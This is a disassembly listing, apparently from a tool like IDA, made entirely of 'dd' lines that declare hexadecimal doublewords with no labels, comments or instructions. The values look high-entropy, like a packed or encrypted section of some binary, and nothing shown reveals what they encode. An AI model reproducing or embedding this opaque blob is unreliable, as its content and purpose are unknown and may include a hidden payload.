		dd 1EA356EBh, 21A3E20h,	90CD6D13h, 8F1078B8h, 0A42ED317h
		dd 0C26F2E10h, 0F672BDE7h, 105F6B10h, 0C52534h,	99CC6B9Eh
		dd 7256A296h, 612689Eh,	12644CA4h, 420452BBh, 9BFBFE9Ch
		dd 34C3755h, 8158055h, 0E074D8B0h, 7C8C3027h, 2EE06DECh
		dd 54A851A9h, 9D2B220Bh, 0A4A3F7DDh, 52925150h,	5F29C9FFh
		dd 91AD5C7h, 0ED64F708h, 9E56DF07h, 2FF07473h, 26EA2B2h
		dd 0E2019892h, 228C5B82h, 53BF9004h, 0E1CA70CFh, 1164B39h
		dd 0E90DFACDh, 0E27FF9B7h, 9FAE1DE3h, 89F1D980h, 0CB342DB5h
		dd 0A9DD5FC8h, 0ABEF75CBh, 5FCC5749h, 76F9F82Fh, 85C3CEF0h
		dd 745F02D9h, 0BB4BAEBCh, 9D315C27h, 532F5h, 48E381A0h
		dd 0DCE7C0C9h, 57EFDB5h, 54AD2BFDh, 0F90C76ACh,	7BFD3B10h
		dd 95FF0CF5h, 0E9542A7Dh, 2E014A33h, 0A18DF860h, 6DDC971Bh
		dd 9EEE3860h, 694F095Bh, 687570D7h, 3DCA6CECh, 0C069718h
		dd 46B06196h, 3C0A51BFh, 798CB700h, 3401722Dh, 148F4101h
		dd 71BD8B30h, 61680FD3h, 0D82770E6h, 9D29A1E4h,	0D783A53Dh
		dd 4FFA5106h, 0B14B8B7Eh, 0C83D4AFBh, 97F73CE5h, 0BB60A0FCh
		dd 4CDB0377h, 7372B61Ch, 4E83EDEh, 30120075h, 0E2F76642h
		dd 0C8062BF9h, 0DF58D09h, 0D18B3F44h, 2FF38105h, 0D9C8EECAh
		dd 0C6BF3E51h, 5B641381h, 0A505858Bh, 711875BFh, 16406DBDh
		dd 7C03183h, 473419B2h,	0B5290109h, 3B03F6F9h, 27E022D0h
		dd 1F901CDCh, 0FF7FE912h, 4861E099h, 1E4DB6D8h,	1C00186h
		dd 97392105h, 0CCFA319Bh, 0F0956EDh, 5D5BFBB7h,	0FC8AC1E4h
		dd 22597057h, 0EAC15184h, 4D3D6391h, 1FAF92Eh, 0DCEB8D05h
		dd 6360A752h, 0BB25006Dh, 79A661A1h, 5F14FC37h,	2FA583h
		dd 1BBB66FEh, 0A4958925h, 9FE8528Dh, 9290B107h,	38FFB2DAh
		dd 0E2000F46h, 0F3FD09D8h, 3514F53h, 0B986B5EEh, 2370E95Fh
		dd 0FAEE8D7Ah, 0FBCFAB50h, 0BF048190h, 109B4DD1h, 6E0FB2BAh
		dd 291471D8h, 0B989BC8Dh, 5DB4C2D5h, 0DB589B7Bh, 8FE23Ch
		dd 0BF5C7BD9h, 3202294h, 5F286676h, 0FC4FABEBh,	0C0769ABAh
		dd 0F07D7EBDh, 8C4CE9C4h, 4E30007Ah, 0E4EF8E24h, 4F0B86E3h
		dd 0F5FC1E6Ah, 300C8B7h, 0F608D9EAh, 8DDE2443h,	0BBC0127Ch
		dd 42DF02DAh, 0BA90142Fh, 7B55D192h, 16E058A4h,	0DE0F4200h
		dd 6EFF2EA1h, 0C23318ADh, 83D04AD1h, 7504E909h,	19CD5FF4h
		dd 0D3F7EE60h, 7E0B2420h, 0DD4160E4h, 8113500Eh, 1F0490B4h
		dd 0D0417C5h, 8BF84088h, 9105B995h, 1F0211F0h, 12BCF0B7h
		dd 0AB411469h, 50459BBBh, 18F4C2EDh, 8C16F03h, 19CB361Dh
		dd 100E584Ch, 0C661D85h, 89397965h, 112B269Dh, 0C9117BEh
		dd 0A57522EAh, 0D0ED735Dh, 11013A7Fh, 0A1D0C50Ah, 75C2B8E8h
		dd 2D0477Bh, 0E3EB00AAh, 89E6CDFFh, 2D61B98Dh, 319D23AEh
		dd 0E1EFCD35h, 0B92E4FAFh, 421BCD9h, 0FF5FE380h, 0C0DA9BE1h
		dd 0E64707EDh, 9A4145Eh, 1A29B82Bh, 0BA13BB2h, 0FF04818Bh
		dd 7B00493Dh, 0A905AFE4h, 0A39E0B46h, 90F5FDABh, 0ED39471h
		dd 0D6CC0D2Fh, 0A553F140h, 0A6016C33h, 0DD60E45Eh, 4A48F657h
		dd 14528101h, 0B201A6EBh, 737A5549h, 9F0F8900h,	703273BCh
		dd 11920591h, 208EA212h, 860F033Bh, 0FF69E16Eh,	1A0ADD4Ch
		dd 4AB70460h, 0AAD98C66h, 0A1B761F6h, 0C8B09DAAh, 0D205DECEh
		dd 4E1804Fh, 0A103B86Fh, 89F46FB5h, 0C4FAC8B1h,	0C9500A14h
		dd 1587F9Bh, 264984C4h,	0DF71FE17h, 0C1042F81h,	2B0BE1E2h
		dd 38BC0FFDh, 0D8AA9100h, 8507CB41h, 20E0B0E2h,	33792151h
		dd 851D5D30h, 2CB7DBBFh, 17C5500Dh, 2C17FAFBh, 0DD5020EFh
		dd 6100676Dh, 0C3754C6Ch, 0D28E1694h, 6F320F98h, 28806849h
		dd 5250557Ah, 0B100F0A6h, 2670913Eh, 425EB94h, 0A7078D69h
		dd 73C3A543h, 82086CD2h, 0AFB794FAh, 2E02CFF4h,	5D5565EBh
		dd 5F5A227Bh, 501267D9h, 0A2EF7F34h, 60BE8E3Eh,	0D22C47EDh
		dd 21CF0385h, 8810F5Fh,	0DF513528h, 58150D20h, 412EF15Bh
		dd 35FDA598h, 4155805Fh, 545263DEh, 28448C12h, 0B5B88AAh
		dd 29418390h, 33CE930h,	2785897Eh, 0B6D4ABA2h, 5898E046h
		dd 653300CCh, 7EAA07CAh, 8101664Ch, 0E9A645DFh,	0BD2E01D0h
		dd 17D4BC1Eh, 917793h, 294055F5h, 5009BF3Ah, 6171D88h
		dd 9BBF1F6Dh, 685A78F2h, 0F1F8409h, 0B1511389h,	0DB0058Eh
		dd 0C878F7CAh, 1870C770h, 0DE255497h, 6CE54A00h, 8BB8BF50h
		dd 0BB236EB5h, 7DCAD9CCh, 6FFA2B4Ah, 96CC1278h,	32392804h
		dd 89D8891Dh, 0AD645Fh,	33E1A2D7h, 0A563E768h, 0A3C4C300h
		dd 0B07E4609h, 491499B4h, 0FE8546B5h, 83FF551Eh, 827269A9h
		dd 0B0759D26h, 4468984h, 0B015B6BBh, 92995Fh, 5013D5A9h
		dd 964E7E9Ch, 2A53C9EBh, 9935BFCh, 0A10B5A5h, 92C4D781h
		dd 0A4AE0762h, 338FF66h, 1060261Fh, 278D428h, 61654113h
		dd 0A2BB5B03h, 0C789EE7Ah, 8EC4EA10h, 97D9921Eh, 58F98040h
		dd 8224EB80h, 0D769A38Dh, 9390D9E4h, 508019FAh,	0E3EF09BBh
		dd 8A910E03h, 1C951008h, 48340482h, 0DBBBB462h,	0C2158805h
		dd 525FD460h, 0CDF69D9Fh, 2B47F200h, 5CF92E13h,	21106B98h
		dd 615B141Eh, 16BD10D6h, 0A12E313Bh, 85C78824h,	0F5164348h
		dd 597AAA10h, 1D37342Fh, 0B066A6AAh, 0E67D42ECh, 3CBC261Ah
		dd 0D9CB0394h, 5E04ADC6h, 21E9DABFh, 0F52231F2h, 0C30500Eh
		dd 61440E11h, 10E8C101h
		dd 20E38EBh, 3124C3Fh, 0E7B39058h, 36DD36EBh, 9E6443E0h
		dd 501B63E1h, 21282934h, 1358180Ch, 1B57D001h, 0C0021B94h
		dd 7BDB589h, 78745375h,	0CD2EA452h, 855066ADh, 0B044117h
		dd 0CA0A3EC9h, 2A00AA7Ah, 0D3FD29DDh, 0C03C92E6h, 41AF488Ah
		dd 0B8D12932h, 9484027Fh, 31233A21h, 20FE19E9h,	1540F979h
		dd 0BABD4E29h, 94089012h, 0FF2AB11Bh, 29C3EEC7h, 10730458h
		dd 0B0502511h, 0A1D13FDBh, 243426FCh, 0EBFADE35h, 0E0EDD503h
		dd 88CA761Fh, 816096h, 0C6B6C2CFh, 61CDB03Fh, 0F98D310Dh
		dd 8B0D7C0Fh, 0C8A1DD37h, 0FD2FD4BDh, 0D27A890Ah, 99098913h
		dd 0AF4DD721h, 0F940A7E7h, 5001E485h, 0A5029503h, 30FA28AAh
		dd 85191FF9h, 56970E41h, 0D49DDEF4h, 89034FE1h,	7540B19Dh
		dd 0C4618680h, 9585092Fh, 614BCA68h, 14108C41h,	2F0DA5ABh
		dd 0B380E2ADh, 0C2835B71h, 0E7800400h, 205089A9h, 0BC0609BFh
		dd 0C88148A6h, 3EABB7CEh, 0BBB83EB9h, 0D920D990h, 0B8BCC922h
		dd 4546EF5Fh, 62F5C37Ah, 88A65BB9h, 2028D15Ch, 6AAD44C1h
		dd 0B2D0D693h, 332C0216h, 845CAFC5h, 41E05E9h, 1860F4AAh
		dd 0B53F6100h, 0DE5F101Dh, 1270B8B1h, 6558DAEFh, 1D3E0462h
		dd 0C0059E1Eh, 1E5F50CCh, 0DC1C48C4h, 1E4FFB2Eh, 0D55DFAFAh
		dd 4D14DFBCh, 8554B695h, 25A58A0Fh, 7F281931h, 26209E94h
		dd 2A69CCC7h, 0ECD7569h, 0F53AEBC0h, 0F521712h,	0F130FF8Eh
		dd 985F3230h, 2E3D10BCh, 1B1B8BA8h, 250CF254h, 2E5000E9h
		dd 313E517Fh, 456DB4Dh,	0D61BD01h, 0EF4A27CEh, 4F05FE3Fh
		dd 8176D6E6h, 0A5128B10h, 24A5101Dh, 0A1F000C0h, 87602E08h
		dd 0BA143A0Eh, 1297747Ch, 29E3185h, 22F12D80h, 7E7DD09Ch
		dd 605A66A4h, 6D7A4F20h, 4EA0090Eh, 4300EAD4h, 61BC89E7h
		dd 0F5582C4h, 0A198007Bh, 0B9150920h, 7DCFA01Ch, 2028107h
		dd 0C1F82430h, 2E0D1979h, 83BCDDF9h, 0C1911113h, 44C63582h
		dd 1A542E0Dh, 5FE93E9Ch, 0C4E74777h, 0E132601Ch, 29D402A3h
		dd 0F208A586h, 0C2403854h, 3B5D6709h, 180033F3h, 0D73DFE1Fh
		dd 3EF38BE4h, 95C4C9A8h, 0E937E4EDh, 0FFF33D1Ch, 0C357567h
		dd 41C0139Fh, 6A3D63BFh, 0C6E516A4h, 0C52E0960h, 0B3617940h
		dd 0C1026D79h, 8F8CCCBFh, 0F8D1752Fh, 59D2891Dh, 90F93281h
		dd 50D8A240h, 0E88350Fh, 0C1A606Dh, 0EC06CA48h,	612865B9h
		dd 0DB810D32h, 2EC41C23h, 319E62ACh, 60901F1h, 4D297D78h
		dd 0FAE803ACh, 4D7C2913h, 27FDD804h, 4E46F3EFh,	8007EF6Ah
		dd 0D0A8E974h, 684BD370h, 8156CF1Dh, 0B66C2081h, 0EF705B7Dh
		dd 4585A61Bh, 0CFEC2A0Eh, 54C957A0h, 70847D4Ch,	8B92018Ah
		dd 0D9CD50FBh, 0F5357DAh, 9019D958h, 611C2ED0h,	2A1A2725h
		dd 2E253460h, 8100BAA4h, 652D74E3h, 27BF6659h, 0EEA756FCh
		dd 4CD7A90Bh, 403595C4h, 19787F07h, 6E8FBBA0h, 49739655h
		dd 271445Dh, 31BA4119h,	1340609Fh, 992651D1h, 9D041E61h
		dd 418829F1h, 420F5BC1h, 0AB8C7FE6h, 7005F35Dh,	0ED000C7Dh
		dd 0CE3219B1h, 9D52F385h, 5F413BFCh, 7F66D1FFh,	80A855F0h
		dd 60506D16h, 0D3A688h,	0CF9B07B1h, 0D90F7367h,	0C402FB25h
		dd 6A400304h, 5AE73049h, 22BEFC4Bh, 74040167h, 0A031B7EAh
		dd 50299994h, 41FDAA60h, 878A3C15h, 1E601B31h, 3D7150h
		dd 0C985FC60h, 727453CAh, 0A9AEA200h, 26A61B9h,	41F30481h
		dd 804B6590h, 9826BFECh, 8110EFC8h, 0EB013348h,	95BCE830h
		dd 8005EF3Fh, 6B60E27Fh, 24BA66D3h, 7BA9F7h, 74C0CF81h
		dd 67BB75C7h, 0C71E904h, 9095B2EBh, 81AC2F8Bh, 0E8673D75h
		dd 0B53829B8h, 74571B8Fh, 2B4A4FC1h, 80FAF814h,	5FB1DB13h
		dd 7E2E2E04h, 0A6EB1D84h, 3510B00Ch, 60920246h,	15B509FBh
		dd 0F0F8D2A4h, 0FE95EA48h, 1A3F2487h, 0E7561FD5h, 27D15F52h
		dd 225FE0FBh, 0E5B52689h, 0E66CA59Dh, 0B1BD2908h, 0C92D2420h
		dd 8A87E959h, 5D996AD9h, 2F60524Dh, 1C486A09h, 0EED18D01h
		dd 0B9414481h, 4ABD3F54h, 0E6B69612h, 90953322h, 1A26CDFh
		dd 682A1658h, 2062B174h, 80332ADh, 71B69F89h, 0B01AC1ABh
		dd 5E36302Eh, 0BD00513Ch, 50FAFE52h, 727B65Dh, 3FE52F9Bh
		dd 43546269h, 5BDF4FC0h, 4A70E62Ch, 0D0A84465h,	58D70100h
		dd 8B71E4F9h, 0E892F84Bh, 0DA3E2CE1h, 0E9E50897h, 0BA95B305h
		dd 351814A3h, 89C1F125h, 110DBD32h, 49EB5C66h, 83BEC87Dh
		dd 1CB3031Fh, 82457640h, 0FE8B22C0h, 273A749Dh,	0A102439Ah
		dd 2B003409h, 0F4A3B7C8h, 7DD7B0D1h, 0B0F4095h,	221B525h
		dd 80E9619Ah, 18D3135h,	0BF8DC218h, 9CE01F7Bh, 39C20AB9h
		dd 5E15299Dh, 6CE44905h, 0F4AC5000h, 41DAC5B4h,	9120D8F5h
		dd 9997021Dh, 0E150E0Ch, 4C10CD70h, 40E9195Ah, 0BC2FFC1Bh
		dd 89BB9373h, 0F6222BDBh, 57F5222Ah, 90E7717Dh,	830A928Ah
		dd 0FE1F24A5h, 88DEBF8Bh, 83B6916h, 25216185h, 9910CF6Ch
		dd 0BD13AC05h, 0B6959445h, 1552F00Ah, 93460914h, 0C6DFD4A9h
		dd 41819C85h, 7D083BB9h, 176910EAh, 6BC5C44Ah, 0D17B073Ch
		dd 0DD2007ACh, 0EB814Bh, 62FB6B65h, 0DBE780FCh,	0F69DB870h
		dd 367DF47Eh, 57C9A309h, 129F715Fh, 0D87CE3F5h,	800DC9DAh
		dd 627C32BBh, 54891F4Bh, 0C9C0A2E9h, 68179E4Eh,	24DD0D93h
		dd 56302B0Ch, 9A619D31h, 58959525h, 0B9B7A5h, 0DA2375ACh
		dd 5E2542BFh, 33768h, 0CA892D06h, 4909DF13h, 71289A93h
		dd 494C448Eh, 0C13D9852h, 80E302DEh, 5F33271Eh,	5D71DA9Ah
		dd 9E516EA5h, 4100D488h, 5F3FEB26h, 0A1A8AF7h, 0E1FF0AEAh
		dd 0BD909BFh, 0FCC63571h, 706D9067h, 4013ACC1h,	41E30401h
		dd 59165D59h, 0BB367013h, 0E5024DD6h, 56E484BFh, 0B5D725D2h
		dd 380C85B6h, 2159C105h, 0D2A80409h, 46BCDD4Dh,	1D651C04h
		dd 0CEAD8880h, 3542C838h, 0AEE6FDA9h, 5D3114B2h, 81B4342Bh
		dd 2E174D94h, 929E7EB8h, 447FB5C7h, 79B1BA7Bh, 0ACB7F92Fh
		dd 69F494E5h, 0A2C50385h, 0BD6E6309h, 5F130149h, 0E6DDBE68h
		dd 0FC0F2B28h, 0B8B052F8h, 0F9DE3E41h, 8501560Bh, 7751A709h
		dd 44ACFC44h, 9FFDC8D3h, 0FA672001h, 0ACE45AFFh, 0AF93812Ch
		dd 7401588Eh, 30E95B6Bh, 11286202h, 894A0DA1h, 51BE9517h
		dd 0ED345FA6h, 5D84CEC7h, 0BFC0D0A8h, 32C974B2h, 53D33A95h
		dd 129350A6h, 0B5E852h,	0B28925CBh, 2CEA8Ch, 88E52EA7h
		dd 0CF176445h, 6B342306h, 7FAE7977h, 0DC0E822Dh, 9F76F77h
		dd 379259F6h, 85151146h, 0AD047D25h, 290714DDh,	0A9197495h
		dd 8C1BA8F3h, 17758807h, 0A0502A36h, 90D88BF8h,	50D92527h
		dd 0D102F0CAh, 75408E18h, 0C11213BFh, 0F9E56B8Ch, 0FF8908ADh
		dd 60F64DDFh, 0E17A7E30h, 5288DB4Fh, 0AE74009Fh, 0B885454Bh
		dd 87EC80D6h, 35CDF34Ah, 0ACD3E92Eh, 0C4774F05h, 46F7EFABh
		dd 0FA016802h, 577E0A90h, 34ACE04Eh, 2AF542h, 0C51D4835h
		dd 754D3FE9h, 8EDF3A28h, 0BEA44DB0h, 8FF9FE09h,	9E56370Ah
		dd 8942654h, 0F80E32A5h, 0C4EFF201h, 0D27AA87Bh, 0F727316Fh
		dd 4911F68Eh, 6BBF4B57h, 0BBB4018Ch, 7BE9D767h,	1ECD083Fh
		dd 9FA54E25h, 0CD0C5C35h, 259F3C12h, 0ABD52B61h, 0D76B63BBh
		dd 29178E45h, 98A851C4h, 0F9581AB6h, 25191087h,	47D7D897h
		dd 0E2A92EE1h, 0AD62CFBCh, 33155FAh, 214B3AE9h,	41F6BEBh
		dd 1C15EAC7h, 96EBB0ACh, 530F6E6Fh, 0EEE0D3DBh,	9EA873F2h
		dd 0B5096D09h, 9D314865h
		dd 4C1F5C29h, 15DF85E1h, 2E8D9205h, 0C5CCEB3Ch,	0E3DA8B27h
		dd 0C0034C87h, 29A97E51h, 0A47B03C1h, 316BAE54h, 386589D0h
		dd 0E124479h, 3940A069h, 0CF81665Fh, 0CD904ABEh, 0B8966D9Bh
		dd 23BFCC1h, 0F46EECD1h, 0B956FE8Ah, 4ECD82C4h,	0C25412DAh
		dd 759D0B60h, 0F2418B31h, 8EA92E6Ch, 7036FD00h,	58C95355h
		dd 7893E700h, 90EA084Dh, 97D89AB5h, 0DB001B37h,	1FB96EDh
		dd 82CD05E3h, 0F7E0E780h, 3DA5BA1h, 9A9C0C80h, 0DB4AB70Fh
		dd 0ACF5C5CCh, 40759690h, 0EF73C7BCh, 0BD45F309h, 89A659BEh
		dd 7F59D88Ah, 24DE16A6h, 253B5DDEh, 6350EBB3h, 0A4AC554h
		dd 1489A8DCh, 123459BDh, 4A0CE110h, 0E0AD9E84h,	7A0160B8h
		dd 87849073h, 648C18E2h, 507116F9h, 3ABB2002h, 561197ECh
		dd 256DE9C4h, 78630C40h, 11EEC43Dh, 0C9C7AD10h,	0DB331860h
		dd 126803D8h, 0E3FEEDD3h, 397522F0h, 7EA38307h,	0A47B950Bh
		dd 0DBE761DEh, 3FC40FA0h, 6B8F7E13h, 0BE01C8BBh, 8EF1410Bh
		dd 95130232h, 0E0E65425h, 3305F1BFh, 0D54949B6h, 0CDE06BEDh
		dd 12DD7Dh, 92E38176h, 502F2DC7h, 449FDC9Dh, 11F4BB51h
		dd 0A2220087h, 0C90EF47Eh, 5F6A4F4Dh, 0DF25BDEAh, 9687DF35h
		dd 0E7E060BFh, 4A56837h, 0DBC7802Ch, 0AC60AD61h, 9E008C1Ch
		dd 0A1999C21h, 0B0178D7h, 43F380C2h, 1B95F878h,	908BCAE9h
		dd 1221BFC1h, 0B2075AE3h, 25498DC9h, 9BB81A2Dh,	96475E03h
		dd 0A450DEB3h, 0B02CA6EFh, 412FB49h, 7C46A794h,	0F8E8C240h
		dd 55A974h, 5DC9FE13h, 0BC13E135h, 0C0F053ADh, 0B65BFEB6h
		dd 0EC4D2520h, 0B2621464h, 32612160h, 91523797h, 0C0A08F1Ah
		dd 0F9A571E8h, 0FB989525h, 94958DB7h, 11944DBh,	1F52B55Bh
		dd 6617E0A3h, 0A05212BBh, 9D7123C2h, 4525F096h,	0ECC0A7C4h
		dd 0E90ECC5Eh, 33FFF49Eh, 0DFE215A6h, 0D800CBD9h, 36DECA02h
		dd 128B4A13h, 0BD2488D7h, 3B662800h, 0F6BA74FBh, 0BE2D020Dh
		dd 0C18B5B44h, 0DCE2C34Dh, 91A8D87Ah, 399504C1h, 0AEF6FA0Dh
		dd 0FC5F5304h, 50068090h, 20ED5B52h, 0D61A78DEh, 5B7E4FA1h
		dd 0A3A67006h, 0B6DB801Ah, 0C0B2ED44h, 799EDCD7h, 0CEF27F31h
		dd 614106ADh, 0CC7CB696h, 9AB8B062h, 4D27BB56h,	7C14C08Ah
		dd 3E25A10Eh, 9038C181h, 59E2E38h, 0CC310FFBh, 0A07ADCEh
		dd 3361C469h, 0F450B6B7h, 0EEE48Ch, 0FACF1892h,	5B122297h
		dd 0FB3A19B7h, 0D97F9002h, 0B55E24ACh, 0B915BDB6h, 0E93A3B21h
		dd 8AC4B967h, 0DD2C4A7Eh, 0C0A01ABFh, 0BDC007E0h, 0F98A258Bh
		dd 5509A65h, 4B6C00E6h,	0B25388B3h, 8917515Eh, 5552C9B5h
		dd 0A24D9AA1h, 1461DCh,	0FB6429B2h, 72DC8BEFh, 6DDA3A4Ah
		dd 4A875176h, 6AF9CE00h, 0D338B502h, 0DC8A1D59h, 6C50495Ah
		dd 0E183A57Bh, 0DD6261F0h, 0B7AC7695h, 7DCF910Ah, 0D90931D7h
		dd 9AC6F722h, 84CFA200h, 295026E4h, 74403AAAh, 0C318E600h
		dd 0CDFCE8C9h, 0F7615F24h, 4206D08h, 0AC0D91E9h, 0B6A0B16Dh
		dd 20F0FC04h, 2FA39034h, 0A6BA2C65h, 0D7E96654h, 0A4E0F2C7h
		dd 0EAB2F629h, 0DA34486Bh, 0DF978C3Ah, 874F0538h, 0B3B6AA19h
		dd 9DACC700h, 0D1411E52h, 32A1BA00h, 33FCC626h,	0DFAB0515h
		dd 13FDA791h, 7A9BEACBh, 0A050E781h, 9A532B30h,	8B26DEFEh
		dd 0E0478045h, 4AAD9D01h, 5B9BCA1Dh, 35802EDBh,	0A28D7261h
		dd 0BE96F18h, 3F45321Dh, 0B581C986h, 1D3E859Bh,	611C20ABh
		dd 0B2880B5Fh, 0CC54821Bh, 0E04AED49h, 0FFB75354h, 35C7BB03h
		dd 0BC6A6DD0h, 0FE09A3BDh, 4264E880h, 90BCCE00h, 5A508477h
		dd 12FFBA59h, 0FFA8298Dh, 7C334189h, 2AFE0282h,	1705DCC0h
		dd 1CEEB195h, 0F30C7616h, 0EB07A5Fh, 5E1402BFh,	71E470E6h
		dd 0B654AA62h, 38350246h, 15A5BD89h, 60129E59h,	120B68B2h
		dd 8E818C3Eh, 0F1C38319h, 32202F2Fh, 5E6F3Fh, 70E8AF3h
		dd 0C013852Eh, 6D13C97Ch, 0CCFB57C1h, 19259DC8h, 2DB6A2Dh
		dd 90AA5C4h, 5758D850h,	0CA944A31h, 1020FBF8h, 18C82B2Fh
		dd 30BD29B0h, 0D14D0C45h, 49708D89h, 0E195E980h, 64C16D42h
		dd 8852D48h, 2BDB2F11h,	0A960BF0Fh, 616381F1h, 16B8FA8Ah
		dd 0ED4DBD40h, 571E7716h, 61532B5Fh, 0CA3A3E5Dh, 221DC6D2h
		dd 0FB5F59E9h, 0A2640300h, 0A698FAE0h, 72DD1A4h, 0B83E447Bh
		dd 32D87237h, 5203FF8Dh, 3E02736Ah, 9D825F61h, 71771581h
		dd 2284082Eh, 0A594FC9Eh, 73FE2620h, 0E4867520h, 0C7178C00h
		dd 33C13124h, 5E4A25C8h, 32FCD76Ch, 0DE28F497h,	2032431Dh
		dd 1DE3817Fh, 5B7B67EEh, 20554CA7h, 0E4403A2Dh,	957F0052h
		dd 0F83CB7E0h, 0F3EA3D9Eh, 4C86AD24h, 18628412h, 5BB8A485h
		dd 4BF7F6EFh, 0A63FFAh,	0BAC7CDC6h, 3C62A347h, 0F94128Dh
		dd 608B918Ah, 211840Eh,	0B9615E53h, 0ACE6AAEAh,	0E1343002h
		dd 2F275C0Eh, 5CC0D14Dh, 1F09CDC8h, 0C4DD2758h,	8CF890C0h
		dd 0D40095A9h, 0F452C38Bh, 72D03C2h, 0B14E6724h, 0BB222034h
		dd 71E21692h, 0BC4AFC5Dh, 2CED0169h, 2B01D2B0h,	0B8A06DC0h
		dd 59C74005h, 9FBA2040h, 2F6A0D6h, 0A59B9510h, 0DC43CD0Bh
		dd 59093392h, 0C781E282h, 300BEFC0h, 0D673D697h, 4284AD00h
		dd 946ECCA5h, 101E1253h, 5594FE89h, 5BFA4781h, 82AC242Eh
		dd 19D1F9A0h, 1509F893h, 4BF97A9Dh, 20AD8D61h, 74BB961h
		dd 0BBC0AD8Bh, 558F7BF3h, 0C4E5549Dh, 0A273B8F9h, 2FBF2078h
		dd 3B38C2C3h, 0DA5554B8h, 0B5673A97h, 0CA6D84EBh, 4D7E809Fh
		dd 610043AAh, 39CB09BFh, 97E1FF7Ch, 0FD6FCD4h, 0E8610B39h
		dd 26BB84C1h, 0C3B96B89h, 361A5125h, 49F10585h,	97A95FA1h
		dd 26429F59h, 8E820904h, 9D5C5F4Bh, 80153051h, 0DB4643B0h
		dd 9D8A054Bh, 9D23887Eh, 271BD52Ch, 82071291h, 0A06C935Bh
		dd 0AF66549Ch, 0BC75B700h, 1EADBB61h, 604B258Ah, 2FC06CEDh
		dd 2A19CC9h, 44B574FCh,	0AF403A73h, 56821DDDh, 0CC7325E1h
		dd 25AF0378h, 0DDC2F8EAh, 0D9707DDBh, 0E114040Eh, 0B9E474EDh
		dd 3C4F2EDEh, 4625964Ah, 0DF60F995h, 79659520h,	5012972Ch
		dd 5FD9AF04h, 88ED53A1h, 4B76BE69h, 941778Ch, 60AA6DDDh
		dd 4E9BA886h, 0B4C8DD4Fh, 0F4A20030h, 17F9C712h, 8300EB0Ah
		dd 68050C95h, 25BBE9B9h, 79F06C55h, 5F072920h, 6988CA61h
		dd 952670F2h, 30E5A446h, 0BEFF61DFh, 0C0C2D891h, 0FB6C76A9h
		dd 0C22C0117h, 5B37D00Bh, 815D248Bh, 0A54BBF4Ah, 26229850h
		dd 60A500AEh, 0A237BD94h, 3902C401h, 5B83F19Ch,	8BA38E8Ah
		dd 0DCCD5758h, 54B3FD62h, 0D16064FBh, 152FA569h, 3400DBB2h
		dd 73BB1FFBh, 207EEC03h, 0C9858913h, 9D2A1EB1h,	0AFE86A8Eh
		dd 0D8026BFDh, 5F019AE9h, 6788BDBh, 0CDAD3DD8h,	2B4C1A84h
		dd 0D265BC66h, 719F0101h, 132F15FDh, 9E98EE65h,	27630109h
		dd 2EAB9EBEh, 17472021h, 0BFD68AA2h, 997DAA0h, 63CDFD78h
		dd 67E60EE0h, 96D90910h, 967BA8CFh, 26181A59h, 0F6781601h
		dd 89E66C73h, 0B872AD3Eh, 578524AAh, 5270C9E6h,	15820F28h
		dd 2430525Fh, 3E323F68h, 55004A64h, 0ADF0FC3Dh,	8E2503B5h
		dd 9D3C585Bh, 1D604DCh,	0AD67D933h, 2FA62612h, 0F5F72116h
		dd 0AE91B4B0h, 2BFC5E16h, 9247FF2h, 2210F5h, 5963C168h
		dd 4CD88AC0h, 3E034F81h, 663FC5A0h, 62B5D3C0h, 0DBE72B97h
		dd 9093D099h, 5F0EBFE8h, 933869CFh, 25B6260Bh, 0D8BCC773h
		dd 7BDA5975h, 12ED257h,	68A12591h, 32DD985h, 0A6EE8C61h
		dd 9AA8B4FFh, 0E34D1312h
		dd 5C8389C8h, 0F3C761F2h, 0DF282BD8h, 98569F46h, 0C0425CF4h
		dd 0E233ED12h, 36A697C9h, 0FF261DA0h, 0C98ED64Bh, 0EBB83EE9h
		dd 8D0120FCh, 0B6B75AD8h, 0B501D259h, 9D03002Dh, 0A55494C1h
		dd 0FE10C865h, 25AD8D82h, 0D704EE08h, 0E62C9FB8h, 0D4ED31DCh
		dd 6C3A2FD4h, 0B1564562h, 503273E9h, 0CB00CD02h, 88D31FE3h
		dd 0B0B2BE73h, 8094258Fh, 8F4BB6CCh, 7A49B08Bh,	0D61396BCh
		dd 1DE0F9A6h, 0ECD58321h, 0DA8A1DB0h, 65967ABh,	16B07FD0h
		dd 0C9E744Fh, 1D648C94h, 0C9B144Ah, 0ACC01BC8h,	3CB5DAFh
		dd 0B56AB4D3h, 85A78ABBh, 27A233h, 80AB6807h, 29B2216h
		dd 98E17958h, 0D65C0C26h, 0A6C38061h, 4586B25Ch, 0A7012E03h
		dd 2761BD0Bh, 2B80DD2Ah, 0CB81D830h, 0D2101258h, 3B96CD6Ch
		dd 6E1CC26Eh, 259AE822h, 0C7CC3389h, 0D55831B3h, 792B481Ah
		dd 0B107525Ah, 12707CC2h, 0C2E72969h, 0A030A64Eh, 12F6D2AFh
		dd 0E1F986F5h, 6AA118BEh, 811FB7BDh, 0B3ED9D09h, 0A09A2B3Bh
		dd 0D7C015C8h, 499D2326h, 0C94AE4C5h, 747930CCh, 3A853D2Fh
		dd 74D175DEh, 9D300DF8h, 0FC7330E3h, 0D421965Bh, 0D9309A77h
		dd 0BBC6016Fh, 37725348h, 96796050h, 0E67586F2h, 4E9A144Eh
		dd 53C019C8h, 2C852A65h, 0A5A97CD7h, 2DA08966h,	568A0F59h
		dd 0E9E2E984h, 705F7BDDh, 2101FA29h, 0F1FCB960h, 75386B77h
		dd 16A21E27h, 2B5E50FEh, 5E78FF2Bh, 544B1F8Fh, 0CD5909C7h
		dd 74286570h, 3F9F9C2Fh, 0E8870638h, 6E071309h,	91062B2Ch
		dd 0C40254A3h, 431B9880h, 9225BC8h, 9B71F964h, 71BD8985h
		dd 0DA4A90E8h, 0C11DC8DAh, 0CCD06E90h, 9D0BA2BBh, 89C14C38h
		dd 6842DDE1h, 0D0698856h, 89949543h, 2B966F70h,	777900F4h
		dd 589D8227h, 0D669715Bh, 0EA8A5469h, 0D602D650h, 0AED3A5B3h
		dd 47A3FCE8h, 0A6A9A1A1h, 7BBAF431h, 0FDB7A709h, 795E82C1h
		dd 0B85B041Eh, 950904DFh, 28692F6Dh, 0B54E80E1h, 1FCE6E66h
		dd 52BA19A9h, 406BACA5h, 1B5E5DD8h, 22CAAC9h, 4120E986h
		dd 7BA09B0Eh, 0AC01154Ah, 0B74EE9h, 0C78EA9A4h,	0B300E043h
		dd 690FB0F6h, 1D399A20h, 0C2CA5015h, 0BA0185C8h, 377A3440h
		dd 2E00F37Ch, 0D87C2763h, 1AA1591h, 0E044C28Bh,	30C8C07Ah
